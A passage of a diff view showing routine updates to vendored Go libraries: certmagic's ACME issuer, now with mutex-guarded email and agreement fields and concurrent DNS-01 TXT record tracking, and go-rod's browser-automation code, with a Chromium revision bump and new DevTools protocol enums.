    455 455  All of the certificates in use are de-duplicated and cached in memory for optimal performance at handshake-time. This cache must be backed by persistent storage as described above.
    456 456   
    457  -Most applications will not need to interact with certificate caches directly. Usually, the closest you will come is to set the package-wide `certmagic.DefaultStorage` variable (before attempting to create any Configs). However, if your use case requires using different storage facilities for different Configs (that's highly unlikely and NOT recommended! Even Caddy doesn't get that crazy), you will need to call `certmagic.NewCache()` and pass in the storage you want to use, then get new `Config` structs with `certmagic.NewWithCache()` and pass in the cache.
     457 +Most applications will not need to interact with certificate caches directly. Usually, the closest you will come is to set the package-wide `certmagic.Default.Storage` variable (before attempting to create any Configs) which defines how the cache is persisted. However, if your use case requires using different storage facilities for different Configs (that's highly unlikely and NOT recommended! Even Caddy doesn't get that crazy), you will need to call `certmagic.NewCache()` and pass in the storage you want to use, then get new `Config` structs with `certmagic.NewWithCache()` and pass in the cache.
    458 458   
    459 459  Again, if you're needing to do this, you've probably over-complicated your application design.
    460 460   
    skipped 67 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/caddyserver/certmagic/account.go
    skipped 170 lines
    171 171   return storeTx(ctx, am.config.Storage, all)
    172 172  }
    173 173   
    174  -// getEmail does everything it can to obtain an email address
     174 +// setEmail does everything it can to obtain an email address
    175 175  // from the user within the scope of memory and storage to use
    176 176  // for ACME TLS. If it cannot get an email address, it does nothing
    177 177  // (If user is prompted, it will warn the user of
    178 178  // the consequences of an empty email.) This function MAY prompt
    179 179  // the user for input. If allowPrompts is false, the user
    180 180  // will NOT be prompted and an empty email may be returned.
    181  -func (am *ACMEIssuer) getEmail(ctx context.Context, allowPrompts bool) error {
     181 +func (am *ACMEIssuer) setEmail(ctx context.Context, allowPrompts bool) error {
    182 182   leEmail := am.Email
    183 183   
    184 184   // First try package default email, or a discovered email address
    skipped 21 lines
    206 206   }
    207 207   
    208 208   // User might have just signified their agreement
    209  - am.Agreed = DefaultACME.Agreed
     209 + am.mu.Lock()
     210 + am.agreed = DefaultACME.Agreed
     211 + am.mu.Unlock()
    210 212   }
    211 213   
    212  - // save the email for later and ensure it is consistent
     214 + // Save the email for later and ensure it is consistent
    213 215   // for repeated use; then update cfg with the email
    214 216   leEmail = strings.TrimSpace(strings.ToLower(leEmail))
    215 217   discoveredEmailMu.Lock()
    skipped 1 lines
    217 219   discoveredEmail = leEmail
    218 220   }
    219 221   discoveredEmailMu.Unlock()
    220  - am.Email = leEmail
     222 + 
     223 + // The unexported email field is the one we use
     224 + // because we have thread-safe control over it
     225 + am.mu.Lock()
     226 + am.email = leEmail
     227 + am.mu.Unlock()
    221 228   
    222 229   return nil
    223 230  }
    skipped 188 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/caddyserver/certmagic/acmeclient.go
    skipped 15 lines
    16 16   
    17 17  import (
    18 18   "context"
    19  - "crypto/tls"
    20 19   "crypto/x509"
    21 20   "fmt"
    22 21   weakrand "math/rand"
    23 22   "net"
    24  - "net/http"
    25 23   "net/url"
    26 24   "strconv"
    27 25   "strings"
    skipped 33 lines
    61 59   if iss.AccountKeyPEM != "" {
    62 60   account, err = iss.GetAccount(ctx, []byte(iss.AccountKeyPEM))
    63 61   } else {
    64  - account, err = iss.getAccount(ctx, client.Directory, iss.Email)
     62 + account, err = iss.getAccount(ctx, client.Directory, iss.getEmail())
    65 63   }
    66 64   if err != nil {
    67 65   return nil, fmt.Errorf("getting ACME account: %v", err)
    skipped 10 lines
    78 76   
    79 77   // agree to terms
    80 78   if interactive {
    81  - if !iss.Agreed {
     79 + if !iss.isAgreed() {
    82 80   var termsURL string
    83 81   dir, err := client.GetDirectory(ctx)
    84 82   if err != nil {
    skipped 3 lines
    88 86   termsURL = dir.Meta.TermsOfService
    89 87   }
    90 88   if termsURL != "" {
    91  - iss.Agreed = iss.askUserAgreement(termsURL)
    92  - if !iss.Agreed {
     89 + agreed := iss.askUserAgreement(termsURL)
     90 + if !agreed {
    93 91   return nil, fmt.Errorf("user must agree to CA terms")
    94 92   }
     93 + iss.mu.Lock()
     94 + iss.agreed = agreed
     95 + iss.mu.Unlock()
    95 96   }
    96 97   }
    97 98   } else {
    98 99   // can't prompt a user who isn't there; they should
    99 100   // have reviewed the terms beforehand
    100  - iss.Agreed = true
     101 + iss.mu.Lock()
     102 + iss.agreed = true
     103 + iss.mu.Unlock()
    101 104   }
    102  - account.TermsOfServiceAgreed = iss.Agreed
     105 + account.TermsOfServiceAgreed = iss.isAgreed()
    103 106   
    104 107   // associate account with external binding, if configured
    105 108   if iss.ExternalAccount != nil {
    skipped 57 lines
    163 166   return nil, fmt.Errorf("%s: insecure CA URL (HTTPS required)", caURL)
    164 167   }
    165 168   
    166  - // set up the dialers and resolver for the ACME client's HTTP client
    167  - dialer := &net.Dialer{
    168  - Timeout: 30 * time.Second,
    169  - KeepAlive: 2 * time.Minute,
    170  - }
    171  - if iss.Resolver != "" {
    172  - dialer.Resolver = &net.Resolver{
    173  - PreferGo: true,
    174  - Dial: func(ctx context.Context, network, _ string) (net.Conn, error) {
    175  - return (&net.Dialer{
    176  - Timeout: 15 * time.Second,
    177  - }).DialContext(ctx, network, iss.Resolver)
    178  - },
    179  - }
    180  - }
    181  - 
    182  - // TODO: we could potentially reuse the HTTP transport and client
    183  - hc := iss.httpClient // TODO: is this racey?
    184  - if iss.httpClient == nil {
    185  - transport := &http.Transport{
    186  - Proxy: http.ProxyFromEnvironment,
    187  - DialContext: dialer.DialContext,
    188  - TLSHandshakeTimeout: 30 * time.Second, // increase to 30s requested in #175
    189  - ResponseHeaderTimeout: 30 * time.Second, // increase to 30s requested in #175
    190  - ExpectContinueTimeout: 2 * time.Second,
    191  - ForceAttemptHTTP2: true,
    192  - }
    193  - if iss.TrustedRoots != nil {
    194  - transport.TLSClientConfig = &tls.Config{
    195  - RootCAs: iss.TrustedRoots,
    196  - }
    197  - }
    198  - 
    199  - hc = &http.Client{
    200  - Transport: transport,
    201  - Timeout: HTTPTimeout,
    202  - }
    203  - 
    204  - iss.httpClient = hc
    205  - }
    206  - 
    207 169   client := &acmez.Client{
    208 170   Client: &acme.Client{
    209 171   Directory: caURL,
    210 172   PollTimeout: certObtainTimeout,
    211 173   UserAgent: buildUAString(),
    212  - HTTPClient: hc,
     174 + HTTPClient: iss.httpClient,
    213 175   },
    214 176   ChallengeSolvers: make(map[string]acmez.Solver),
    215 177   }
    216 178   if iss.Logger != nil {
    217  - l := iss.Logger.Named("acme_client")
    218  - client.Client.Logger, client.Logger = l, l
     179 + client.Logger = iss.Logger.Named("acme_client")
    219 180   }
    220 181   
    221 182   // configure challenges (most of the time, DNS challenge is
    skipped 65 lines
    287 248  }
    288 249   
    289 250  func (c *acmeClient) throttle(ctx context.Context, names []string) error {
     251 + email := c.iss.getEmail()
     252 + 
    290 253   // throttling is scoped to CA + account email
    291  - rateLimiterKey := c.acmeClient.Directory + "," + c.iss.Email
     254 + rateLimiterKey := c.acmeClient.Directory + "," + email
    292 255   rateLimitersMu.Lock()
    293 256   rl, ok := rateLimiters[rateLimiterKey]
    294 257   if !ok {
    skipped 6 lines
    301 264   c.iss.Logger.Info("waiting on internal rate limiter",
    302 265   zap.Strings("identifiers", names),
    303 266   zap.String("ca", c.acmeClient.Directory),
    304  - zap.String("account", c.iss.Email),
     267 + zap.String("account", email),
    305 268   )
    306 269   }
    307 270   err := rl.Wait(ctx)
    skipped 4 lines
    312 275   c.iss.Logger.Info("done waiting on internal rate limiter",
    313 276   zap.Strings("identifiers", names),
    314 277   zap.String("ca", c.acmeClient.Directory),
    315  - zap.String("account", c.iss.Email),
     278 + zap.String("account", email),
    316 279   )
    317 280   }
    318 281   return nil
    skipped 67 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/caddyserver/certmagic/acmeissuer.go
    skipped 1 lines
    2 2   
    3 3  import (
    4 4   "context"
     5 + "crypto/tls"
    5 6   "crypto/x509"
    6 7   "errors"
    7 8   "fmt"
     9 + "net"
    8 10   "net/http"
    9 11   "net/url"
    10 12   "sort"
    11 13   "strings"
     14 + "sync"
    12 15   "time"
    13 16   
    14 17   "github.com/mholt/acmez"
    skipped 97 lines
    112 115   
    113 116   config *Config
    114 117   httpClient *http.Client
     118 + 
     119 + // Some fields are changed on-the-fly during
     120 + // certificate management. For example, the
     121 + // email might be implicitly discovered if not
     122 + // explicitly configured, and agreement might
     123 + // happen during the flow. Changing the exported
     124 + // fields field is racey (issue #195) so we
     125 + // control unexported fields that we can
     126 + // synchronize properly.
     127 + email string
     128 + agreed bool
     129 + mu *sync.Mutex // protects the above grouped fields
    115 130  }
    116 131   
    117 132  // NewACMEIssuer constructs a valid ACMEIssuer based on a template
    skipped 63 lines
    181 196   if template.Logger == nil {
    182 197   template.Logger = DefaultACME.Logger
    183 198   }
     199 + 
    184 200   template.config = cfg
     201 + template.mu = new(sync.Mutex)
     202 + 
     203 + // set up the dialer and transport / HTTP client
     204 + dialer := &net.Dialer{
     205 + Timeout: 30 * time.Second,
     206 + KeepAlive: 2 * time.Minute,
     207 + }
     208 + if template.Resolver != "" {
     209 + dialer.Resolver = &net.Resolver{
     210 + PreferGo: true,
     211 + Dial: func(ctx context.Context, network, _ string) (net.Conn, error) {
     212 + return (&net.Dialer{
     213 + Timeout: 15 * time.Second,
     214 + }).DialContext(ctx, network, template.Resolver)
     215 + },
     216 + }
     217 + }
     218 + transport := &http.Transport{
     219 + Proxy: http.ProxyFromEnvironment,
     220 + DialContext: dialer.DialContext,
     221 + TLSHandshakeTimeout: 30 * time.Second, // increase to 30s requested in #175
     222 + ResponseHeaderTimeout: 30 * time.Second, // increase to 30s requested in #175
     223 + ExpectContinueTimeout: 2 * time.Second,
     224 + ForceAttemptHTTP2: true,
     225 + }
     226 + if template.TrustedRoots != nil {
     227 + transport.TLSClientConfig = &tls.Config{
     228 + RootCAs: template.TrustedRoots,
     229 + }
     230 + }
     231 + template.httpClient = &http.Client{
     232 + Transport: transport,
     233 + Timeout: HTTPTimeout,
     234 + }
     235 + 
    185 236   return &template
    186 237  }
    187 238   
    skipped 25 lines
    213 264   return key
    214 265  }
    215 266   
     267 +func (iss *ACMEIssuer) getEmail() string {
     268 + iss.mu.Lock()
     269 + defer iss.mu.Unlock()
     270 + return iss.email
     271 +}
     272 + 
     273 +func (iss *ACMEIssuer) isAgreed() bool {
     274 + iss.mu.Lock()
     275 + defer iss.mu.Unlock()
     276 + return iss.agreed
     277 +}
     278 + 
    216 279  // PreCheck performs a few simple checks before obtaining or
    217 280  // renewing a certificate with ACME, and returns whether this
    218 281  // batch is eligible for certificates if using Let's Encrypt.
    skipped 7 lines
    226 289   }
    227 290   }
    228 291   }
    229  - return am.getEmail(ctx, interactive)
     292 + return am.setEmail(ctx, interactive)
    230 293  }
    231 294   
    232 295  // Issue implements the Issuer interface. It obtains a certificate for the given csr using
    skipped 235 lines
  • ■ ■ ■ ■
    vendor/github.com/caddyserver/certmagic/certificates.go
    skipped 340 lines
    341 341  // as a quick sanity check, looks like it could be the subject
    342 342  // of a certificate. Requirements are:
    343 343  // - must not be empty
    344  -// - must not start or end with a dot (RFC 1034)
     344 +// - must not start or end with a dot (RFC 1034; RFC 6066 section 3)
    345 345  // - must not contain common accidental special characters
    346 346  func SubjectQualifiesForCert(subj string) bool {
    347 347   // must not be empty
    skipped 83 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/caddyserver/certmagic/dnsutil.go
    skipped 132 lines
    133 133  func createDNSMsg(fqdn string, rtype uint16, recursive bool) *dns.Msg {
    134 134   m := new(dns.Msg)
    135 135   m.SetQuestion(fqdn, rtype)
    136  - m.SetEdns0(4096, false)
     136 + 
     137 + // See: https://caddy.community/t/hard-time-getting-a-response-on-a-dns-01-challenge/15721/16
     138 + m.SetEdns0(1232, false)
    137 139   if !recursive {
    138 140   m.RecursionDesired = false
    139 141   }
    skipped 202 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/caddyserver/certmagic/solvers.go
    skipped 237 lines
    238 238   return nil
    239 239  }
    240 240   
    241  -// DNS01Solver is a type that makes libdns providers usable
    242  -// as ACME dns-01 challenge solvers.
    243  -// See https://github.com/libdns/libdns
     241 +// DNS01Solver is a type that makes libdns providers usable as ACME dns-01
     242 +// challenge solvers. See https://github.com/libdns/libdns
     243 +//
     244 +// Note that challenges may be solved concurrently by some clients (such as
     245 +// acmez, which CertMagic uses), meaning that multiple TXT records may be
     246 +// created in a DNS zone simultaneously, and in some cases distinct TXT records
     247 +// may have the same name. For example, solving challenges for both example.com
     248 +// and *.example.com create a TXT record named _acme_challenge.example.com,
     249 +// but with different tokens as their values. This solver distinguishes
     250 +// between different records with the same name by looking at their values.
     251 +// DNS provider APIs and implementations of the libdns interfaces must also
     252 +// support multiple same-named TXT records.
    244 253  type DNS01Solver struct {
    245 254   // The implementation that interacts with the DNS
    246 255   // provider to set or delete records. (REQUIRED)
    skipped 19 lines
    266 275   // that the solver doesn't follow CNAME/NS record.
    267 276   OverrideDomain string
    268 277   
    269  - txtRecords map[string]dnsPresentMemory // keyed by domain name
     278 + // Remember DNS records while challenges are active; i.e.
     279 + // records we have presented and not yet cleaned up.
     280 + // This lets us clean them up quickly and efficiently.
     281 + // Keyed by domain name (specifically the ACME DNS name).
     282 + // The map value is a slice because there can be multiple
     283 + // concurrent challenges for different domains that have
     284 + // the same ACME DNS name, for example: example.com and
     285 + // *.example.com. We distinguish individual memories by
     286 + // the value of their TXT records, which should contain
     287 + // unique challenge tokens.
     288 + // See https://github.com/caddyserver/caddy/issues/3474.
     289 + txtRecords map[string][]dnsPresentMemory
    270 290   txtRecordsMu sync.Mutex
    271 291  }
    272 292   
    skipped 5 lines
    278 298   }
    279 299   keyAuth := challenge.DNS01KeyAuthorization()
    280 300   
    281  - // multiple identifiers can have the same ACME challenge
    282  - // domain (e.g. example.com and *.example.com) so we need
    283  - // to ensure that we don't solve those concurrently and
    284  - // step on each challenges' metaphorical toes; see
    285  - // https://github.com/caddyserver/caddy/issues/3474
    286  - activeDNSChallenges.Lock(dnsName)
    287  - 
    288 301   zone, err := findZoneByFQDN(dnsName, recursiveNameservers(s.Resolvers))
    289 302   if err != nil {
    290 303   return fmt.Errorf("could not determine zone for domain %q: %v", dnsName, err)
    skipped 8 lines
    299 312   
    300 313   results, err := s.DNSProvider.AppendRecords(ctx, zone, []libdns.Record{rec})
    301 314   if err != nil {
    302  - return fmt.Errorf("adding temporary record for zone %s: %w", zone, err)
     315 + return fmt.Errorf("adding temporary record for zone %q: %w", zone, err)
    303 316   }
    304 317   if len(results) != 1 {
    305 318   return fmt.Errorf("expected one record, got %d: %v", len(results), results)
    306 319   }
    307 320   
    308 321   // remember the record and zone we got so we can clean up more efficiently
    309  - s.txtRecordsMu.Lock()
    310  - if s.txtRecords == nil {
    311  - s.txtRecords = make(map[string]dnsPresentMemory)
    312  - }
    313  - s.txtRecords[dnsName] = dnsPresentMemory{dnsZone: zone, rec: results[0]}
    314  - s.txtRecordsMu.Unlock()
     322 + s.saveDNSPresentMemory(dnsPresentMemory{
     323 + dnsZone: zone,
     324 + dnsName: dnsName,
     325 + rec: results[0],
     326 + })
    315 327   
    316 328   return nil
    317 329  }
    skipped 45 lines
    363 375   var ready bool
    364 376   ready, err = checkDNSPropagation(dnsName, keyAuth, resolvers)
    365 377   if err != nil {
    366  - return fmt.Errorf("checking DNS propagation of %s: %w", dnsName, err)
     378 + return fmt.Errorf("checking DNS propagation of %q: %w", dnsName, err)
    367 379   }
    368 380   if ready {
    369 381   return nil
    skipped 6 lines
    376 388  // CleanUp deletes the DNS TXT record created in Present().
    377 389  func (s *DNS01Solver) CleanUp(ctx context.Context, challenge acme.Challenge) error {
    378 390   dnsName := challenge.DNS01TXTRecordName()
     391 + if s.OverrideDomain != "" {
     392 + dnsName = s.OverrideDomain
     393 + }
     394 + keyAuth := challenge.DNS01KeyAuthorization()
    379 395   
    380  - defer func() {
    381  - // always forget about it so we don't leak memory
    382  - s.txtRecordsMu.Lock()
    383  - delete(s.txtRecords, dnsName)
    384  - s.txtRecordsMu.Unlock()
    385  - 
    386  - // always do this last - but always do it!
    387  - activeDNSChallenges.Unlock(dnsName)
    388  - }()
     396 + // always forget about the record so we don't leak memory
     397 + defer s.deleteDNSPresentMemory(dnsName, keyAuth)
    389 398   
    390 399   // recall the record we created and zone we looked up
    391  - s.txtRecordsMu.Lock()
    392  - memory, ok := s.txtRecords[dnsName]
    393  - if !ok {
    394  - s.txtRecordsMu.Unlock()
    395  - return fmt.Errorf("no memory of presenting a DNS record for %s (probably OK if presenting failed)", challenge.Identifier.Value)
     400 + memory, err := s.getDNSPresentMemory(dnsName, keyAuth)
     401 + if err != nil {
     402 + return err
    396 403   }
    397  - s.txtRecordsMu.Unlock()
    398 404   
    399 405   // clean up the record
    400  - _, err := s.DNSProvider.DeleteRecords(ctx, memory.dnsZone, []libdns.Record{memory.rec})
     406 + _, err = s.DNSProvider.DeleteRecords(ctx, memory.dnsZone, []libdns.Record{memory.rec})
    401 407   if err != nil {
    402  - return fmt.Errorf("deleting temporary record for zone %s: %w", memory.dnsZone, err)
     408 + return fmt.Errorf("deleting temporary record for name %q in zone %q: %w", memory.dnsName, memory.dnsZone, err)
    403 409   }
    404 410   
    405 411   return nil
    skipped 1 lines
    407 413   
    408 414  type dnsPresentMemory struct {
    409 415   dnsZone string
     416 + dnsName string
    410 417   rec libdns.Record
    411 418  }
    412 419   
    413  -// ACMEDNSProvider defines the set of operations required for
    414  -// ACME challenges. A DNS provider must be able to append and
    415  -// delete records in order to solve ACME challenges. Find one
    416  -// you can use at https://github.com/libdns. If your provider
    417  -// isn't implemented yet, feel free to contribute!
    418  -type ACMEDNSProvider interface {
    419  - libdns.RecordAppender
    420  - libdns.RecordDeleter
     420 +func (s *DNS01Solver) saveDNSPresentMemory(mem dnsPresentMemory) {
     421 + s.txtRecordsMu.Lock()
     422 + if s.txtRecords == nil {
     423 + s.txtRecords = make(map[string][]dnsPresentMemory)
     424 + }
     425 + s.txtRecords[mem.dnsName] = append(s.txtRecords[mem.dnsName], mem)
     426 + s.txtRecordsMu.Unlock()
    421 427  }
    422 428   
    423  -// activeDNSChallenges synchronizes DNS challenges for
    424  -// names to ensure that challenges for the same ACME
    425  -// DNS name do not overlap; for example, the TXT record
    426  -// to make for both example.com and *.example.com are
    427  -// the same; thus we cannot solve them concurrently.
    428  -var activeDNSChallenges = newMapMutex()
     429 +func (s *DNS01Solver) getDNSPresentMemory(dnsName, keyAuth string) (dnsPresentMemory, error) {
     430 + s.txtRecordsMu.Lock()
     431 + defer s.txtRecordsMu.Unlock()
    429 432   
    430  -// mapMutex implements named mutexes.
    431  -type mapMutex struct {
    432  - cond *sync.Cond
    433  - set map[interface{}]struct{}
    434  -}
    435  - 
    436  -func newMapMutex() *mapMutex {
    437  - return &mapMutex{
    438  - cond: sync.NewCond(new(sync.Mutex)),
    439  - set: make(map[interface{}]struct{}),
     433 + var memory dnsPresentMemory
     434 + for _, mem := range s.txtRecords[dnsName] {
     435 + if mem.rec.Value == keyAuth {
     436 + memory = mem
     437 + break
     438 + }
    440 439   }
    441  -}
    442 440   
    443  -func (mmu *mapMutex) Lock(key interface{}) {
    444  - mmu.cond.L.Lock()
    445  - defer mmu.cond.L.Unlock()
    446  - for mmu.locked(key) {
    447  - mmu.cond.Wait()
     441 + if memory.rec.Name == "" {
     442 + return dnsPresentMemory{}, fmt.Errorf("no memory of presenting a DNS record for %q (usually OK if presenting also failed)", dnsName)
    448 443   }
    449  - mmu.set[key] = struct{}{}
     444 + 
     445 + return memory, nil
    450 446  }
    451 447   
    452  -func (mmu *mapMutex) Unlock(key interface{}) {
    453  - mmu.cond.L.Lock()
    454  - defer mmu.cond.L.Unlock()
    455  - delete(mmu.set, key)
    456  - mmu.cond.Broadcast()
     448 +func (s *DNS01Solver) deleteDNSPresentMemory(dnsName, keyAuth string) {
     449 + s.txtRecordsMu.Lock()
     450 + defer s.txtRecordsMu.Unlock()
     451 + 
     452 + for i, mem := range s.txtRecords[dnsName] {
     453 + if mem.rec.Value == keyAuth {
     454 + s.txtRecords[dnsName] = append(s.txtRecords[dnsName][:i], s.txtRecords[dnsName][i+1:]...)
     455 + return
     456 + }
     457 + }
    457 458  }
    458 459   
    459  -func (mmu *mapMutex) locked(key interface{}) (ok bool) {
    460  - _, ok = mmu.set[key]
    461  - return
     460 +// ACMEDNSProvider defines the set of operations required for
     461 +// ACME challenges. A DNS provider must be able to append and
     462 +// delete records in order to solve ACME challenges. Find one
     463 +// you can use at https://github.com/libdns. If your provider
     464 +// isn't implemented yet, feel free to contribute!
     465 +type ACMEDNSProvider interface {
     466 + libdns.RecordAppender
     467 + libdns.RecordDeleter
    462 468  }
    463 469   
    464 470  // distributedSolver allows the ACME HTTP-01 and TLS-ALPN challenges
    skipped 261 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/element.go
    skipped 3 lines
    4 4   "context"
    5 5   "errors"
    6 6   "fmt"
    7  - "path/filepath"
    8 7   "reflect"
    9 8   "strings"
    10 9   "time"
    skipped 144 lines
    155 154   
    156 155   shape, err := el.Shape()
    157 156   if err != nil {
    158  - // such as when css is "display: none"
    159  - if errors.Is(err, cdp.ErrNoContentQuads) {
    160  - err = &ErrInvisibleShape{el}
    161  - }
    162  - return
     157 + return nil, err
    163 158   }
    164 159   
    165 160   pt = shape.OnePointInside()
    skipped 207 lines
    373 368   
    374 369  // SetFiles of the current file input element
    375 370  func (el *Element) SetFiles(paths []string) error {
    376  - absPaths := []string{}
    377  - for _, p := range paths {
    378  - absPath, err := filepath.Abs(p)
    379  - utils.E(err)
    380  - absPaths = append(absPaths, absPath)
    381  - }
     371 + absPaths := utils.AbsolutePaths(paths)
    382 372   
    383 373   defer el.tryTrace(TraceTypeInput, fmt.Sprintf("set files: %v", absPaths))()
    384 374   el.page.browser.trySlowmotion()
    skipped 330 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/hijack.go
    skipped 229 lines
    230 230   
    231 231   h.Response.payload.ResponseCode = res.StatusCode
    232 232   
    233  - list := []string{}
    234 233   for k, vs := range res.Header {
    235 234   for _, v := range vs {
    236  - list = append(list, k, v)
     235 + h.Response.SetHeader(k, v)
    237 236   }
    238 237   }
    239  - h.Response.SetHeader(list...)
    240 238   
    241 239   if loadBody {
    242 240   b, err := ioutil.ReadAll(res.Body)
    skipped 188 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/cdp/error.go
    skipped 57 lines
    58 58   Message: "No node found at given location",
    59 59  }
    60 60   
    61  -// ErrNoContentQuads type
    62  -var ErrNoContentQuads = &Error{
    63  - Code: -32000,
    64  - Message: "Could not compute content quads.",
    65  -}
    66  - 
  • ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/defaults/defaults.go
    1 1  // Package defaults of commonly used options parsed from environment.
    2  -// Check ResetWithEnv for details.
     2 +// Check ResetWith for details.
    3 3  package defaults
    4 4   
    5 5  import (
    skipped 200 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/launcher/revision.go
    skipped 2 lines
    3 3  package launcher
    4 4   
    5 5  // RevisionDefault for chromium
    6  -const RevisionDefault = 1018003
     6 +const RevisionDefault = 1033860
    7 7   
    8 8  // RevisionPlaywright for arm linux
    9  -const RevisionPlaywright = 1012
     9 +const RevisionPlaywright = 1019
    10 10   
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/accessibility.go
    skipped 340 lines
    341 341   // Role (optional) This `Node`'s role, whether explicit or implicit.
    342 342   Role *AccessibilityAXValue `json:"role,omitempty"`
    343 343   
     344 + // ChromeRole (optional) This `Node`'s Chrome raw role.
     345 + ChromeRole *AccessibilityAXValue `json:"chromeRole,omitempty"`
     346 + 
    344 347   // Name (optional) The accessible name for this `Node`.
    345 348   Name *AccessibilityAXValue `json:"name,omitempty"`
    346 349   
    skipped 258 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/go-rod/rod/lib/proto/audits.go
    skipped 60 lines
    61 61   
    62 62   // AuditsCookieExclusionReasonExcludeSamePartyCrossPartyContext enum const
    63 63   AuditsCookieExclusionReasonExcludeSamePartyCrossPartyContext AuditsCookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
     64 + 
     65 + // AuditsCookieExclusionReasonExcludeDomainNonASCII enum const
     66 + AuditsCookieExclusionReasonExcludeDomainNonASCII AuditsCookieExclusionReason = "ExcludeDomainNonASCII"
    64 67  )
    65 68   
    66 69  // AuditsCookieWarningReason ...
    skipped 26 lines
    93 96   
    94 97   // AuditsCookieWarningReasonWarnAttributeValueExceedsMaxSize enum const
    95 98   AuditsCookieWarningReasonWarnAttributeValueExceedsMaxSize AuditsCookieWarningReason = "WarnAttributeValueExceedsMaxSize"
     99 + 
     100 + // AuditsCookieWarningReasonWarnDomainNonASCII enum const
     101 + AuditsCookieWarningReasonWarnDomainNonASCII AuditsCookieWarningReason = "WarnDomainNonASCII"
    96 102  )
    97 103   
    98 104  // AuditsCookieOperation ...
    skipped 426 lines
    525 531   // AuditsAttributionReportingIssueTypePermissionPolicyDisabled enum const
    526 532   AuditsAttributionReportingIssueTypePermissionPolicyDisabled AuditsAttributionReportingIssueType = "PermissionPolicyDisabled"
    527 533   
    528  - // AuditsAttributionReportingIssueTypeAttributionSourceUntrustworthyOrigin enum const
    529  - AuditsAttributionReportingIssueTypeAttributionSourceUntrustworthyOrigin AuditsAttributionReportingIssueType = "AttributionSourceUntrustworthyOrigin"
     534 + // AuditsAttributionReportingIssueTypeUntrustworthyReportingOrigin enum const
     535 + AuditsAttributionReportingIssueTypeUntrustworthyReportingOrigin AuditsAttributionReportingIssueType = "UntrustworthyReportingOrigin"
    530 536   
    531  - // AuditsAttributionReportingIssueTypeAttributionUntrustworthyOrigin enum const
    532  - AuditsAttributionReportingIssueTypeAttributionUntrustworthyOrigin AuditsAttributionReportingIssueType = "AttributionUntrustworthyOrigin"
     537 + // AuditsAttributionReportingIssueTypeInsecureContext enum const
     538 + AuditsAttributionReportingIssueTypeInsecureContext AuditsAttributionReportingIssueType = "InsecureContext"
    533 539   
    534 540   // AuditsAttributionReportingIssueTypeInvalidHeader enum const
    535 541   AuditsAttributionReportingIssueTypeInvalidHeader AuditsAttributionReportingIssueType = "InvalidHeader"
     542 + 
     543 + // AuditsAttributionReportingIssueTypeInvalidRegisterTriggerHeader enum const
     544 + AuditsAttributionReportingIssueTypeInvalidRegisterTriggerHeader AuditsAttributionReportingIssueType = "InvalidRegisterTriggerHeader"
     545 + 
     546 + // AuditsAttributionReportingIssueTypeInvalidEligibleHeader enum const
     547 + AuditsAttributionReportingIssueTypeInvalidEligibleHeader AuditsAttributionReportingIssueType = "InvalidEligibleHeader"
     548 + 
     549 + // AuditsAttributionReportingIssueTypeTooManyConcurrentRequests enum const
     550 + AuditsAttributionReportingIssueTypeTooManyConcurrentRequests AuditsAttributionReportingIssueType = "TooManyConcurrentRequests"
     551 + 
     552 + // AuditsAttributionReportingIssueTypeSourceAndTriggerHeaders enum const
     553 + AuditsAttributionReportingIssueTypeSourceAndTriggerHeaders AuditsAttributionReportingIssueType = "SourceAndTriggerHeaders"
     554 + 
     555 + // AuditsAttributionReportingIssueTypeSourceIgnored enum const
     556 + AuditsAttributionReportingIssueTypeSourceIgnored AuditsAttributionReportingIssueType = "SourceIgnored"
     557 + 
     558 + // AuditsAttributionReportingIssueTypeTriggerIgnored enum const
     559 + AuditsAttributionReportingIssueTypeTriggerIgnored AuditsAttributionReportingIssueType = "TriggerIgnored"
    536 560  )
    537 561   
    538 562  // AuditsAttributionReportingIssueDetails Details for issues around "Attribution Reporting API" usage.
    skipped 2 lines
    541 565   
    542 566   // ViolationType ...
    543 567   ViolationType AuditsAttributionReportingIssueType `json:"violationType"`
    544  - 
    545  - // Frame (optional) ...
    546  - Frame *AuditsAffectedFrame `json:"frame,omitempty"`
    547 568   
    548 569   // Request (optional) ...
    549 570   Request *AuditsAffectedRequest `json:"request,omitempty"`
    skipped 97 lines
    647 668   // AuditsDeprecationIssueTypeEventPath enum const
    648 669   AuditsDeprecationIssueTypeEventPath AuditsDeprecationIssueType = "EventPath"
    649 670   
     671 + // AuditsDeprecationIssueTypeExpectCTHeader enum const
     672 + AuditsDeprecationIssueTypeExpectCTHeader AuditsDeprecationIssueType = "ExpectCTHeader"
     673 + 
    650 674   // AuditsDeprecationIssueTypeGeolocationInsecureOrigin enum const
    651 675   AuditsDeprecationIssueTypeGeolocationInsecureOrigin AuditsDeprecationIssueType = "GeolocationInsecureOrigin"
    652 676   
    skipped 24 lines
    677 701   // AuditsDeprecationIssueTypeMediaSourceDurationTruncatingBuffered enum const
    678 702   AuditsDeprecationIssueTypeMediaSourceDurationTruncatingBuffered AuditsDeprecationIssueType = "MediaSourceDurationTruncatingBuffered"
    679 703   
     704 + // AuditsDeprecationIssueTypeNavigateEventRestoreScroll enum const
     705 + AuditsDeprecationIssueTypeNavigateEventRestoreScroll AuditsDeprecationIssueType = "NavigateEventRestoreScroll"
     706 + 
     707 + // AuditsDeprecationIssueTypeNavigateEventTransitionWhile enum const
     708 + AuditsDeprecationIssueTypeNavigateEventTransitionWhile AuditsDeprecationIssueType = "NavigateEventTransitionWhile"
     709 + 
    680 710   // AuditsDeprecationIssueTypeNoSysexWebMIDIWithoutPermission enum const
    681 711   AuditsDeprecationIssueTypeNoSysexWebMIDIWithoutPermission AuditsDeprecationIssueType = "NoSysexWebMIDIWithoutPermission"
    682 712   
    skipped 8 lines
    691 721   
    692 722   // AuditsDeprecationIssueTypeOpenWebDatabaseInsecureContext enum const
